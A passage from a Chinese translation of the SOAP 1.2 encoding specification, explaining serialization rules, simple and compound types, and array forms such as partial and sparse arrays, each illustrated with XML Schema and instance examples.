  9. 在一个复合类型中，一个存取标识在本符合类型中是唯一的，如果它和其他复合类型中的某个存取标识无法相区别，则该存取标识名加上复合类型的名字才能成为唯一标识，这个名称为"局部名"。无论该名是直接或间接基于一个URI，如果该存取标识不用加类型名约束就已经是唯一的，那该名就成为"全局名"。

  10. 值表的编序的模式中所给出的信息，是有可能能决定一些值只能关联一个存取标识的简单实例。对于其他可能的情况，则无法下这个断言。一个值被称为”single-reference”单引用，如果只有一个存取标识能够引用它。如果能被多个引用，无论是事实上还是潜在可能，那就是”multi-reference”多引用。注意有可能在一模式中有一个确定的值是单引用而其他则是多引用。

  11. 在句法上，一个元素可以是"独立的"或"嵌入的"。一个独立的元素是作为编序中一个顶级元素出现。而其他则是嵌入元素。

尽管使用xsi:type属性可以令值的表示为自描述的，也就是说即包含值的结构也包含值的类型，但编序规则允许值的类型可以仅仅引用模式(Schema)中的类型定义。而这些模式可以使用“XML Schema Part 1: Structures”[10]和“XML Schema Part 2: Datatypes”[11]中定义的规范来描述，当然也可以使用其他的模式定义来定义。注意尽管这样，但许多模式定义只支持结构(struct)和数组(array)类型，而编序规则则有可能要尝试使用结构(struct)和数组(array)类型之外的复合类型。

编序规则如下:

  1. 所有的值都应当表现为元素的内容(content)。一个多引用的值必须被表示为一个独立元素的内容。而一个单引用的值应该不如此(不过也可以如此)。

  2. 对每个包含一个值的元素，值的类型表示必须满足以下至少一个条件：(a) 包含该值的元素实例包含一个xsi:type属性，(b) 包含该值的元素实例包含在一个具备enc: arrayType属性的元素中(可能是被设置成default的)，(c) 该元素的名带有一个类型的明确关联，而该类型由一个模式来决定。

  3. 一个简单值应被表示为字符数据(character data)，也就是说，没有任何子元素。每一个简单值必须有一个类型，该类型要么是在XML Schema规范的DataTypes部分[11]中被罗列，要么它的源类型应当在该部分中被罗列(可参阅 section 5.2)。

  4. 一个复合值应当被编码为一个元素序列，其中每一个存取标识由一个嵌入元素来表示，他们的名是一一对应的。若存取标识的名在包含它的型中是局部的，则它有一个未修饰的元素名，而其他则应有完全修饰的名(可参阅 section 5.4)。

  5. 一个多引用的简单或复合值应当被编码为一个独立元素，该独立元素应包含一个局部的带有非限制名的“id”属性，该属性的类型为XML规范[7]中定义的ID类型。对该值的每一个存取标识是一个空元素，该空元素有一个局部的未修饰的属性“href”，该属性类型是XML Schema规范[11]中定义的“uri-reference”类型，“href”属性的值是一个引用该对应独立元素的URI片段标识。

  6. 字串和字节数组被表示为多引用简单类型，不过特别的规则也允许它们在通常情况下更有效地表示(可参阅 section 5.2.1以及section 5.2.3)。一个字串或字节数组的存取标识可以有一个在XML规范[7]中定义的名为”id”的ID类型的属性。如果这样的话，所有其他对该同一值的存取标识可以被编码为一个空元素，该空元素应包含一个局部的带有非限制名的“href”属性，该属性的类型为XML Schema规范[11]中定义的“uri-reference”类型，“href”属性的值是一个引用该对应独立元素的URI片段标识。

  7. 对一个值编码多个引用是允许的，看上去这些引用好象是引用了多个不同的值，但仅当从上下文中可得到该XML 实例的含义是未改变的的结论。

  8. 数组是复合值(可参阅 section 5.4.2)。SOAP数组被定义为类型是“enc:Array”或类型是源于“enc:Array”。

    SOAP数组有一或多维，而它的成员由顺序位置区分。一个数组的值被表示为一序列反映该数组的元素，这些成员按序数从小到大顺序出现。对于多维数组，则元素维按从右到左顺序变化。没一个成员元素都被命名为一个独立元素(参阅 rule 2)。

    SOAP数组可以是单引用值，也可以是多引用值，从而可以被表示为一个嵌入元素或一个独立元素。

    SOAP数组必须包含一个“enc:arrayType”属性，其中定义的包含元素的值的类型与维数一起描述了该数组。”enc:arrayType”属性的值定义如下:

    arrayTypeValue = atype asize
    atype = QName *( rank )
    rank = "[" *( "," ) "]"
    asize = "[" #length "]"
    length = 1*DIGIT

    “atype”结构是数组所包含的元素的类型的名，首先它包含一个QName表示，QName应在XML Schema元素声明中的“type”属性中出现，QName是一个型约束(意味着所有其包含的元素都应宣称与该指明的类型相一致，也就是说，在enc:arrayType中引用的类型必须是所有数组元素的类型或超类型)。对于那些数组的数组或是“jagged arrays”，使用rank结构来表示数组的元素是一个数组，同时该数组的具体类型将在下层具体成员数组的定义时数值实例化，rank中出现零个、一个到多个逗号，表明该成员变量是一维、二维或多维数组。对于多维数组，维数定义为一个由“,”分隔的维数序列，每个维数的记数基数为1。

    “asize”结构包含一个由逗号分隔的由零个、一个或多个整数组成的序列指明的数组的每个维的长度。一个由零个整数组成的序列表明对数组打下并没有特别限制，不过具体的大小将由下层具体的成员来决定。

    例如，一个有5个成员的数组，成员类型为integer数组，它的arrayTypeValue的值就应当是 “int[][5]”。其中，atype的值是“int[]”，asize的值是“[5]”。类似地，一个有3个成员的数组，成员类型为integer二维数组，它的arrayTypeValue的值就应当是 “int[,][3]”。其中，atype的值是“int[,]”，asize的值是“[3]”。

    SOAP数组成员可以包含一个“enc:offset”属性来指明该成员在其装载的数组中的偏移量。这也可以用于指明在一个部分描述的数组中成员的偏移(参阅 section 5.4.2.1)。类似的，SOAP数组成员可以包含一个“enc:position”属性来指明该成员在其装载的数组中的位置。这也可以用于指明在一个稀疏描述的数组中成员的位置(参阅 section 5.4.2.2)。“enc:offset”和“enc:position”属性的值定义为:

    arrayPoint = "[" #length "]"

    他们的基数都是0。

  9. NULL值和默认值可以在存取标识元素中省略。NULL值可以在一个存取标识元素中使用一个值为1的属性xsi:null来指明，或者可以是其他依赖于应用程序的属性和值。

注意rule 2允许独立元素和数组中成员元素对于包含的类型可以有不同的名。

5.2 简单类型

对于简单类型，SOAP采用了在“XML Schema Part 2: Datatypes”[11]的“Build-in datatypes”节中定义的所有类型，包括值和词汇空间(lexical spaces)。例子包括：

Type | Example
int | 58502
float | 314159265358979E+1
negativeInteger | -32768
string | Louis "Satchmo" Armstrong

在XML Schema规范中声明的数据类型可以直接在元素模式中使用。而源于这些类型的类型也可以被使用。下面是一个模式片段和相应类型元素数据的例子：

Example 7
<!-- schema document -->
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" >
<xs:element name="age" type="xs:int" />
<xs:element name="height" type="xs:float" />
<xs:element name="displacement" type="xs:negativeInteger" />
<xs:element name="color" >
<xs:simpleType base="xsd:string">
<xs:restriction base="xs:string" >
<xs:enumeration value="Green"/>
<xs:enumeration value="Blue"/>
</xs:restriction>
</xs:simpleType>
</xs:element>
</xs:schema>
Schema with simple types

以下是一些合法的元素实例:

Example 8
<!-- Example instance elements -->
<age>45</age>
<height>5.9</height>
<displacement>-450</displacement>
<color>Blue</color>
Message fragment corresponding to the schema in Example 7

无论简单值类型是在“XML Schema Part 2: Datatypes”规范[11]中定义，还是基于XML Schema规范所提供的类型定义机制，都必须被编码为元素的内容。

如果一个简单值被编码为一个独立元素或一个异构数组的元素，这就很方便有一个对应于数据类型的元素声明。因为“XML Schema Part 2: Datatypes”规范[11]中包含了类型定义，但没有包含对应元素的声明，而enc模式和命名空间为每个简单数据类型声明了一个元素。这些是可以被使用的。

Example 9
<enc:int xmlns:enc="http://www.w3.org/2001/06/soap-encoding" id="int1">45</enc:int>

5.2.1 字符串

“string”数据类型在“XML Schema Part 2: Datatypes”[11]中被定义。值得注意的是在许多数据库或编程语言中，“string”类型并不是一致的，在某些特别的语言中，可能只允许一些字符能出现在“string”中。(这些值可能需要表示为xsd:string之外的一些数据类型)

一个字串可以被编码为一个单引用或多引用值。

包含string值的元素可以有一个“id”属性。额外的存取标识元素可以有匹配它的“href”属性。

例如，如果有两个对同一string的存取标识出现，则可以表现为:

Example 10
<greeting id="String-0">Hello</greeting>
<salutation href="#String-0"/>
Two accessors for the same string

无论如何，事实上对一个string(或者是string的子类型)的实例加以两个引用与将他们编码成两个单引用值并没有本质的区别:

Example 11
<greeting>Hello</greeting>
<salutation>Hello</salutation>
Two accessors for the same string

对于这些例子的模式描述可能是:

Example 12
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:enc="http://www.w3.org/2001/06/soap-encoding" >
<xs:import namespace="http://www.w3.org/2001/06/soap-encoding" />
<xs:element name="greeting" type="enc:string" />
<xs:element name="salutation" type="enc:string" />
</xs:schema>
Schema for Example 11

(在这个例子中，用于描述元素类型的enc:string类型是一个方便的方法，来描述一个元素的类型是“xsd:string”，并且它可以附带“id” 和“href”属性。可以参阅SOAP Encoding模式来得到确切的定义。模式也可以使用这些SOAP Encoding模式中的声明，但不是必须的。)

5.2.2 枚举

“XML Schema Part 2: Datatypes”规范[11]定义了一种称为“玫举(enumeration)”的机制。SOAP数据模型直接采用了这个机制。可是，由于编程语言及其他语言在定义玫举上存在着一些细微的差别，因此我们在这里描述了更详细的概念，并描述了如何将一个成为玫举列表成员的值进行编码。具体的，它编码为该值的名。

在概念上，“玫举”表示了一组不同的名。一个具体的玫举是一个符合基本类型的不同值的具体列表。例如，颜色名(“Green”, “Blue”, “Brown”)的集合可以被定义为一个基于内置string类型的玫举, 值(“1”, “3”, “5”)则可能是一个基于integer的玫举，等等。“XML Schema Part 2: Datatypes”规范[11]支持除boolean外所有简单类型的玫举。“XML Schema Part 2: Structures”规范[10]语言可以用于定义玫举类型。如果一个模式是从另一种符号体系生成过来而没有具体的基本类型可应用，那么就使用“string”。在下面的模式例子“EyeColor”被定义为一个string的玫举，其可能的值包括“Green”、“Blue”、“Brown”，同时实例数据也对应地给出了。

Example 13
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:tns="http://example.org/2001/06/samples"
targetNamespace="http://example.org/2001/06/samples" >
<xs:element name="EyeColor" type="tns:EyeColor" />
<xs:simpleType name="EyeColor" >
<xs:restriction base="xs:string" >
<xs:enumeration value="Green" />
<xs:enumeration value="Blue" />
<xs:enumeration value="Brown" />
</xs:restriction>
</xs:simpleType>
</xs:schema>
Schema with enumeration

Example 14
<p:EyeColor xmlns:p="http://example.org/2001/06/samples" >Brown</p:EyeColor>
Message fragment corresponding to the schema in Example 13

5.2.3 字节数组

一个Byte数组可以编码为单引用或多引用值。Byte数组的编码规则与string是类似的。

特别的，包含Byte数组值的元素可以有一个“id”属性。额外的存取标识元素可以有一个用于匹配的“href”属性。

对一个不透明的Byte数组的推荐表示是使用在XML Schema规范[10] [11]中定义的“base64”编码方式，具体编码算法是在RFC 2045[13]中定义。不过，MIME中base64编码数据的数据行长度限制在SOAP中将不存在。SOAP中应使用“enc:base64”子类型来定义base64编码。

Example 15
<picture xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:enc="http://www.w3.org/2001/06/soap-encoding"
xsi:type="enc:base64" >
aG93IG5vDyBicm73biBjb3cNCg==
</picture>
Image with base64 encoding

5.3 多态存取标识

许多语言允许存取标识可以多态地访问数个类型的值，在运行时刻每个类型都是可使用的。一个多态存取标识实例必须包含一个“xsi:type”属性以描述类型的实际值。

例如，一个名为“cost”带有类型为“xsd:float”的值的多态存取标识可以编码为:

Example 16
<cost xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xs="http://www.w3.org/2001/XMLSchema"
xsi:type="xs:float">29.95</cost>
Polymorphic accessor

与之相对的是一个值类型不变的cost存取标识。

Example 17
<cost>29.95</cost>
Accessor whose value type is invariant

5.4 复合类型

SOAP依照在程序语言中常常看见的以下结构模式来定义复合类型:

Struct

“struct”是一个复合类型值，其成员的存取标识名是相互区别的唯一标志，应彼此各不相同。

Array

“array”是一个复合类型值，其成员的顺序位置是相互区别的唯一标志。

SOAP也允许数据的编序即不是Struct也不是Array，例如在Directed-Labeled-Graph数据模型中单个数据结点有很多不同的存取标识，其中有些会出现多次。SOAP遍序并不需要下层的数据模型要区别存取标识的次序区别，但如果有这种次序存在的话，那么存取标识必须按照该次序编码。

5.4.1 复合值及对值的引用

复合值的成员被编码为存取标识元素。存取标识由他们的名字来相区别(例如在struct里面)，而元素名就是存取标识名。存取标识名是局部的，作用域是包含他们的类型中，具备一个未修饰的元素名，而其他则有完全修饰名。

下面是一个“Book”结构的例子:

Example 18
<e:Book xmlns:e="http://example.org/2001/06/books" >
<author>Henry Ford</author>
<preface>Prefactory text</preface>
<intro>This is a book.</intro>
</e:Book>
Book structure

下面则是一个描述该结构的模式片段:

Example 19
<xs:element name="Book"
xmlns:xs='http://www.w3.org/2001/XMLSchema' >
<xs:complexType>
<xs:sequence>
<xs:element name="author" type="xs:string" />
<xs:element name="preface" type="xs:string" />
<xs:element name="intro" type="xs:string" />
</xs:sequence>
</xs:complexType>
</xs:element>
Schema for Example 18

下面是一个即包含简单类型成员也包含复合类型成员的类型的例子。它显示了两层的引用。注意“Author”存取标识元素的“href”属性一个对匹配“id”值对应的值的引用。“Address”中的情况也是类似的。

Example 20
<e:Book xmlns:e="http://example.org/2001/06/books" >
<title>My Life and Work</title>
<author href="#Person-1"/>
</e:Book>
<e:Person xmlns:e="http://example.org/2001/06/books"
id="Person-1" >
<name>Henry Ford</name>
<address href="#Address-2"/>
</e:Person>
<e:Address xmlns:e="http://example.org/2001/06/books"
id="Address-2" >
<email>mailto:henryford@hotmail.com</email>
<web>http://www.henryford.com</web>
</e:Address>
Book with muli-reference addresses

当“Person”和“Address”的值是需要多引用的时候，上述描述是合适的。如果使用单引用来描述，则应该是嵌入的，如下:

Example 21
<e:Book xmlns:e="http://example.org/2001/06/books" >
<title>My Life and Work</title>
<author>
<name>Henry Ford</name>
<address>
<email>mailto:henryford@hotmail.com</email>
<web>http://www.henryford.com</web>
</address>
</author>
</e:Book>
Book with single-reference addresses

如果这里存在着一个限制：在一个给出的实例中不允许有两个人有同样的地址，地址可以是一个街道地址(Street-address)，也可以是一个电子地址(Electronic-address)。一本有两个作者的书可以编码为:

Example 22
<e:Book xmlns:e="http://example.org/2001/06/books" >
<title>My Life and Work</title>
<firstauthor href="#Person-1"/>
<secondauthor href="#Person-2"/>
</e:Book>
<e:Person xmlns:e="http://example.org/2001/06/books"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
id="Person-1" >
<name>Henry Ford</name>
<address xsi:type="e:ElectronicAddressType">
<email>mailto:henryford@hotmail.com</email>
<web>http://www.henryford.com</web>
</address>
</e:Person>
<e:Person xmlns:e="http://example.org/2001/06/books"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
id="Person-2">
<name>Samuel Crowther</name>
<address xsi:type="e:StreetAddressType">
<street>Martin Luther King Rd</street>
<city>Raleigh</city>
<state>North Carolina</state>
</address>
</e:Person>
Book with two authors having different addresses

编序也可以包含一些不在同一资源中的值的引用:

Example 23
<e:Book xmlns:e="http://example.org/2001/06/books" >
<title>Paradise Lost</title>
<firstAuthor href="http://www.dartmouth.edu/~milton/" />
</e:Book>
Book with external references

同时下面是一个对上面结构的模式描述片段:

Example 24
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:tns="http://example.org/2001/06/books"
targetNamespace="http://example.org/2001/06/books" >
<xs:element name="Book" type="tns:BookType" />
<xs:complexType name="BookType" >
<xs:annotation>
<xs:documentation>
<info>
Either the following group must occur or else the
href attribute must appear, but not both.
</info>
</xs:documentation>
</xs:annotation>
<xs:sequence minOccurs="0" maxOccurs="1" >
<xs:element name="title" type="xs:string" />
<xs:element name="firstAuthor" type="tns:PersonType" />
<xs:element name="secondAuthor" type="tns:PersonType" />
</xs:sequence>
<xs:attribute name="href" type="xs:anyURI" />
<xs:attribute name="id" type="xs:ID" />
<xs:anyAttribute namespace="##other" />
</xs:complexType>
<xs:element name="Person" type="tns:PersonType" />
<xs:complexType name="PersonType" >
<xs:annotation>
<xs:documentation>
<info>
Either the following group must occur or else the
href attribute must appear, but not both.
</info>
</xs:documentation>
</xs:annotation>
<xs:sequence minOccurs="0" maxOccurs="1" >
<xs:element name="name" type="xs:string" />
<xs:element name="address" type="tns:AddressType" />
</xs:sequence>
<xs:attribute name="href" type="xs:anyURI" />
<xs:attribute name="id" type="xs:ID" />
<xs:anyAttribute namespace="##other" />
</xs:complexType>
<xs:element name="Address" base="tns:AddressType" />
<xs:complexType name="AddressType" abstract="true" >
<xs:annotation>
<xs:documentation>
<info>
Either one of the following sequences must occur or
else the href attribute must appear, but not both.
</info>
</xs:documentation>
</xs:annotation>
<xs:choice>
<xs:sequence minOccurs="0" maxOccurs="1" >
<xs:element name="email" type="xs:string" />
<xs:element name="web" type="xs:anyURI" />
</xs:sequence>
<xs:sequence minOccurs='0' maxOccurs='1' >
<xs:element name="street" type="xs:string" />
<xs:element name="city" type="xs:string" />
<xs:element name="state" type="xs:string"/>
</xs:sequence>
</xs:choice>
<xs:attribute name="href" type="xs:anyURI"/>
<xs:attribute name="id" type="xs:ID"/>
<xs:anyAttribute namespace="##other"/>
</xs:complexType>
<xs:complexType name="StreetAddressType">
<xs:annotation>
<xs:documentation>
<info>
Either the second sequence in the following group
must occur or else the href attribute must appear,
but not both.
</info>
</xs:documentation>
</xs:annotation>
<xs:complexContent>
<xs:restriction base="tns:AddressType" >
<xs:sequence>
<xs:sequence minOccurs="0" maxOccurs="0" >
<xs:element name="email" type="xs:string" />
<xs:element name="web" type="xs:anyURI" />
</xs:sequence>
<xs:sequence minOccurs="0" maxOccurs="1">
<xs:element name="street" type="xs:string" />
<xs:element name="city" type="xs:string" />
<xs:element name="state" type="xs:string"/>
</xs:sequence>
</xs:sequence>
<xs:attribute name="href" type="xs:anyURI"/>
<xs:attribute name="id" type="xs:ID"/>
<xs:anyAttribute namespace="##other"/>
</xs:restriction>
</xs:complexContent>
</xs:complexType>
<xs:complexType name="ElectronicAddressType">
<xs:annotation>
<xs:documentation>
<info>
Either the first sequence in the following group
must occur or else the href attribute must appear,
but not both.
</info>
</xs:documentation>
</xs:annotation>
<xs:complexContent>
<xs:restriction base="tns:AddressType" >
<xs:sequence>
<xs:sequence minOccurs="0" maxOccurs="1">
<xs:element name="email" type="xs:string" />
<xs:element name="web" type="xs:anyURI" />
</xs:sequence>
<xs:sequence minOccurs="0" maxOccurs="0">
<xs:element name="street" type="xs:string" />
<xs:element name="city" type="xs:string" />
<xs:element name="state" type="xs:string"/>
</xs:sequence>
</xs:sequence>
<xs:attribute name="href" type="xs:anyURI"/>
<xs:attribute name="id" type="xs:ID"/>
<xs:anyAttribute namespace="##other"/>
</xs:restriction>
</xs:complexContent>
</xs:complexType>
</xs:schema>
Schema for example 22

5.4.2 数组

SOAP数组被定义为类型为“enc:Array”或类型源于“enc:Array”(可参阅 rule 8)。这种类型源于"enc:Array"的类型必须遵从"enc:Array"的限制，同时它可用于表示以下情况的类型定义，譬如整型数的数组或是一些用户自定义的枚举类型的数组等。数组被表示为对包含其的元素的名无特殊约束的元素值(就象值一般不会约束包含元素的名)。组成数组的元素可以是任意类型，包括嵌套的数组。

数组值的表示是一个该数组组成元素的一个有序序列。作为一个数组的值，元素名对于区分存取标识并非重要。元素可以有任意的名。实际上，这些元素的命名将按照模式中声明的建议，或由他们的类型所决定。就象在复合类型中通常情况下，如果数组中条目的值是单引用值，则该条目将包含它的值。否则，条目通过“href”属性引用它的值。

下面是一个模式的片段以及一个包含integer成员的数组:

Example 25
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:enc="http://www.w3.org/2001/06/soap-encoding" >
<xs:import namespace="http://www.w3.org/2001/06/soap-encoding" />
<xs:element name="myFavoriteNumbers" type="enc:Array" />
</xs:schema>
Schema declaring an array of integers

Example 26
<myFavoriteNumbers xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:enc="http://www.w3.org/2001/06/soap-encoding"
enc:arrayType="xs:int[2]" >
<number>3</number>
<number>4</number>
</myFavoriteNumbers>
Array conforming to the schema in Example 25

在这个例子中，“myFavoriteNumber”数组包含了几个成员，每个成员的值的类型都是xs:int。而类型是由enc:arrayType属性决定的。注意enc:Array的类型允许不严格的未修饰的元素名。这些名只传输了非类型的信息，因此在具体使用的时候，要么有一个xsi:type属性，要么包含它的元素要包含一个enc:arrayType属性。自然地，源于enc:Array的类型可以声明带类型信息的局部元素。

就象先前指出的，enc模式包含了一些元素名的声明，而这些名是对应于“XML Schema Part 2: Datatypes”规范[11]中的每个简单类型的。这也包含一个“Array”的声明。使用这些定义，我们也许可以将显现先前的描述改写为：

Example 27
<enc:Array xmlns:enc="http://www.w3.org/2001/06/soap-encoding"
xmlns:xs="http://www.w3.org/2001/XMLSchema"
enc:ArrayType="xs:int[2]" >
<enc:int>3</enc:int>
<enc:int>4</enc:int>
</enc:Array>
Using the enc:Array element

数组可以包含任意指定arrayType的子类型的实例。也就是说，成员的类型可以是任何描述在arrayType属性中类型的可替代类型，这将依照于在模式中表示的可替代规则。因此，例如，一个整数数组可以包含任何源于integer的类型的值(例如 “int”或任何用户定义的源于integer的类型)。类似的，一个“address”数组可以包含一个严格的或扩展的类型，比如“internationalAddress”。因为提供的enc:Array类型允许包含任何类型或类型混合的成员，除非有对arrayType属性使用的特别限制。

成员元素类型在实例中可以使用xsi:type来描述，或则是在成员元素模式中声明，就象在下面两个数组中分别演示的那样:

Example 28
<enc:Array xmlns:enc="http://www.w3.org/2001/06/soap-encoding"
xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
enc:arrayType="xs:anyType[4]">
<thing xsi:type="xs:int">12345</thing>
<thing xsi:type="xs:decimal">6.789</thing>
<thing xsi:type="xs:string">
Of Mans First Disobedience, and the Fruit
Of that Forbidden Tree, whose mortal tast
Brought Death into the World, and all our woe,
</thing>
<thing xsi:type="xs:anyURI">
http://www.dartmouth.edu/~milton/reading_room/
</thing>
</enc:Array>
Array with elements of varying types

Example 29
<enc:Array xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:enc="http://www.w3.org/2001/06/soap-encoding"
enc:arrayType="xs:anyType[4]" >
<enc:int>12345</enc:int>
<enc:decimal>6.789</enc:decimal>
<enc:string>
Of Mans First Disobedience, and the Fruit
Of that Forbidden Tree, whose mortal tast
Brought Death into the World, and all our woe,
</enc:string>
<enc:anyURI>
http://www.dartmouth.edu/~milton/reading_room/
</enc:anyURI >
</enc:Array>
Array with elements of varying types

数组值可以是结构或其他复合值。例如一个“xyz:Order”结构的数组:

Example 30
<enc:Array xmlns:enc="http://www.w3.org/2001/06/soap-encoding"
xmlns:xyz="http://example.org/2001/06/Orders"
enc:arrayType="xyz:Order[2]">
<Order>
<Product>Apple</Product>
<Price>1.56</Price>
</Order>
<Order>
<Product>Peach</Product>
<Price>1.48</Price>
</Order>
</enc:Array>
Arrays containing structs and other compound values

数组也可以有一些成员值是数组。下面是一个有两个数组的数组的例子，而那两个数组都是string数组:

Example 31
<enc:Array xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:enc="http://www.w3.org/2001/06/soap-encoding"
enc:arrayType="xs:string[][2]" >
<item href="#array-1"/>
<item href="#array-2"/>
</enc:Array>
<enc:Array xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:enc="http://www.w3.org/2001/06/soap-encoding"
id="array-1"
enc:arrayType="xs:string[2]">
<item>r1c1</item>
<item>r1c2</item>
<item>r1c3</item>
</enc:Array>
<enc:Array xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:enc="http://www.w3.org/2001/06/soap-encoding"
id="array-2"
enc:arrayType="xs:string[2]">
<item>r2c1</item>
<item>r2c2</item>
</enc:Array>
Array containing other arrays

包含一个数组值的元素并不需要一定被命名为“enc:Array”。它可以有任意的名，而提供的类型则要么是enc:Array，要么是受源于enc:Array的限制。例如，下面是一个模式片段以及与之一致的一个实例数组:

Example 32
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:enc="http://www.w3.org/2001/06/soap-encoding"
xmlns:tns="http://example.org/2001/06/numbers"
targetNamespace="http://example.org/2001/06/numbers" >
<xs:simpleType name="phoneNumberType" >
<xs:restriction base="xs:string" />
</xs:simpleType>
<xs:element name="ArrayOfPhoneNumbers" type="tns:ArrayOfPhoneNumbersType" />
<xs:complexType name="ArrayOfPhoneNumbersType" >
<xs:complexContent>
<xs:restriction base="enc:Array" >
<xs:sequence>
<xs:element name="phoneNumber" type="tns:phoneNumberType" maxOccurs="unbounded" />
</xs:sequence>
<xs:attributeGroup ref="enc:arrayAttributes" />
<xs:attributeGroup ref="enc:commonAttributes" />
</xs:restriction>
</xs:complexContent>
</xs:complexType>
</xs:schema>
Schema for an array

Example 33
<abc:ArrayOfPhoneNumbers xmlns:abc="http://example.org/2001/06/numbers"
xmlns:enc="http://www.w3.org/2001/06/soap-encoding"
enc:arrayType="abc:phoneNumberType[2]" >
<phoneNumber>206-555-1212</phoneNumber>
<phoneNumber>1-888-123-4567</phoneNumber>
</abc:ArrayOfPhoneNumbers>
Array conforming to the schema in Example 32

数组可以是多维的。在这种情况下，就会有多个描述维数大小的值出现在arrayType属性的asize部分:

Example 34
<enc:Array xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:enc="http://www.w3.org/2001/06/soap-encoding"
enc:arrayType="xs:string[2,3]" >
<item>r1c1</item>
<item>r1c2</item>
<item>r1c3</item>
<item>r2c1</item>
<item>r2c2</item>
<item>r2c3</item>
</enc:Array>
Multi-dimensonal array

上述例子中显示了一个数组如何被编码为独立元素，数组值可以以嵌套方式出现并且如果他们是单引用的话，应该使用这种方式。

下面是一个模式片段的例子以及符合该模式的一个嵌套在“Person”结构中的电话号码数组，该数组可以从存取标识“phone-numbers”访问:

Example 34
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:enc="http://www.w3.org/2001/06/soap-encoding"
xmlns:tns="http://example.org/2001/06/numbers"
targetNamespace="http://example.org/2001/06/numbers" >
<xs:import namespace="http://www.w3.org/2001/06/soap-encoding" />
<xs:simpleType name="phoneNumberType" >
<xs:restriction base="xs:string" />
</xs:simpleType>
<xs:element name="ArrayOfPhoneNumbers" type="tns:ArrayOfPhoneNumbersType" />
<xs:complexType name="ArrayOfPhoneNumbersType" >
<xs:complexContent>
<xs:restriction base="enc:Array" >
<xs:sequence>
<xs:element name="phoneNumber" type="tns:phoneNumberType" maxOccurs="unbounded" />
</xs:sequence>
<xs:attributeGroup ref="enc:arrayAttributes" />
<xs:attributeGroup ref="enc:commonAttributes" />
</xs:restriction>
</xs:complexContent>
</xs:complexType>
<xs:element name="Person">
<xs:complexType>
<xs:sequence>
<xs:element name="name" type="xs:string" />
<xs:element name="phoneNumbers" type="tns:ArrayOfPhoneNumbersType" />
</xs:sequence>
</xs:complexType>
</xs:element>
</xs:schema>
Schema fragment for array of phone numbers embedded in a struct

Example 35
<def:Person xmlns:def="http://example.org/2001/06/numbers"
xmlns:enc="http://www.w3.org/2001/06/soap-encoding" >
<name>John Hancock</name>
<phoneNumbers enc:arrayType="def:phoneNumber[2]">
<phoneNumber>206-555-1212</phoneNumber>
<phoneNumber>1-888-123-4567</phoneNumber>
</phoneNumbers>
</def:Person>
Array of phone numbers embedded in a struct conforming to the schema in Example 34

下面是单引用数组值的另一个例子，数组值被编码为嵌入元素，这些元素都包含作为存取标识的元素名:

Example 36
<xyz:PurchaseOrder xmlns:xyz="http://example.org/2001/06/Orders" >
<CustomerName>Henry Ford</CustomerName>
<ShipTo>
<Street>5th Ave</Street>
<City>New York</City>
<State>NY</State>
<Zip>10010</Zip>
</ShipTo>
<PurchaseLineItems xmlns:enc="http://www.w3.org/2001/06/soap-encoding"
enc:arrayType="xyz:Order[2]">
<Order>
<Product>Apple</Product>
<Price>1.56</Price>
</Order>
<Order>
<Product>Peach</Product>
<Price>1.48</Price>
</Order>
</PurchaseLineItems>
</xyz:PurchaseOrder>
Single-reference array encoded as en embedded element
5.4.2.1 部分传输数组

SOAP提供对部分传递数组的支持，这就象在一些上下文[12]中的“可变长”数组。一个部分传递数组应使用“enc:offset”属性标识，该属性的记数是以第一元素的位移为0开始的。如果省略该属性，则位移默认是0。

下面是一个大小为5的数组，同时在传递的时候仅传递第三和第四个元素:

Example 37
<enc:Array xmlns:enc="http://www.w3.org/2001/06/soap-encoding"
xmlns:xs="http://www.w3.org/2001/XMLSchema"
enc:arrayType="xs:string[6]"
enc:offset="[3]" >
<item>The fourth element</item>
<item>The fifth element</item>
</enc:Array>
Array of size five that transmits only the third and fourth element
5.4.2.2 稀疏数组

SOAP提供对稀疏数组的支持。每一个表示成员值的元素包含一个“enc:position”属性来表明它处于数组的位置。下面是一个二维字串数组的稀疏数组的例子。他的大小是4，但仅有位置2被使用:

Example 38
<enc:Array xmlns:enc="http://www.w3.org/2001/06/soap-encoding"
xmlns:xs="http://www.w3.org/2001/XMLSchema"
enc:arrayType="xs:string[,][4]" >
<enc:Array href="#array-1" enc:position="[2]" />
</enc:Array>
<enc:Array id="array-1"
enc:arrayType="xs:string[10,10]" >
<item enc:position="[2,2]">Third row, third col</item>
<item enc:position="[7,2]">Eighth row, third col</item>
</enc:Array>
Sparse array

如果在上述数组中对array-1仅有一个引用，那上述例子可以被编码为:

Example 39
<enc:Array xmlns:enc="http://www.w3.org/2001/06/soap-encoding"
xmlns:xs="http://www.w3.org/2001/XMLSchema"
enc:arrayType="xs:string[,][4]" >
<enc:Array enc:position="[2]" enc:arrayType="xs:string[10,10]" >
<item enc:position="[2,2]">Third row, third col</item>
<item enc:position="[7,2]">Eighth row, third col</item>
</enc:Array>
</enc:Array>
Another sparse array

5.4.3 通用复合类型

上面引用到的编码规则并不限于那些预先知道存取标识的情形。如果存取标识名仅当在编码过程中由值的出现才能决定的时候，同样的规则也可以应用，也就是一个存取标识被编码为同名的元素，并且该存取标识要么包含要么引用它的值。包含那些类型不能预先决定的值的存取标识必须包含一个合适的xsi:type属性来给出值的类型。

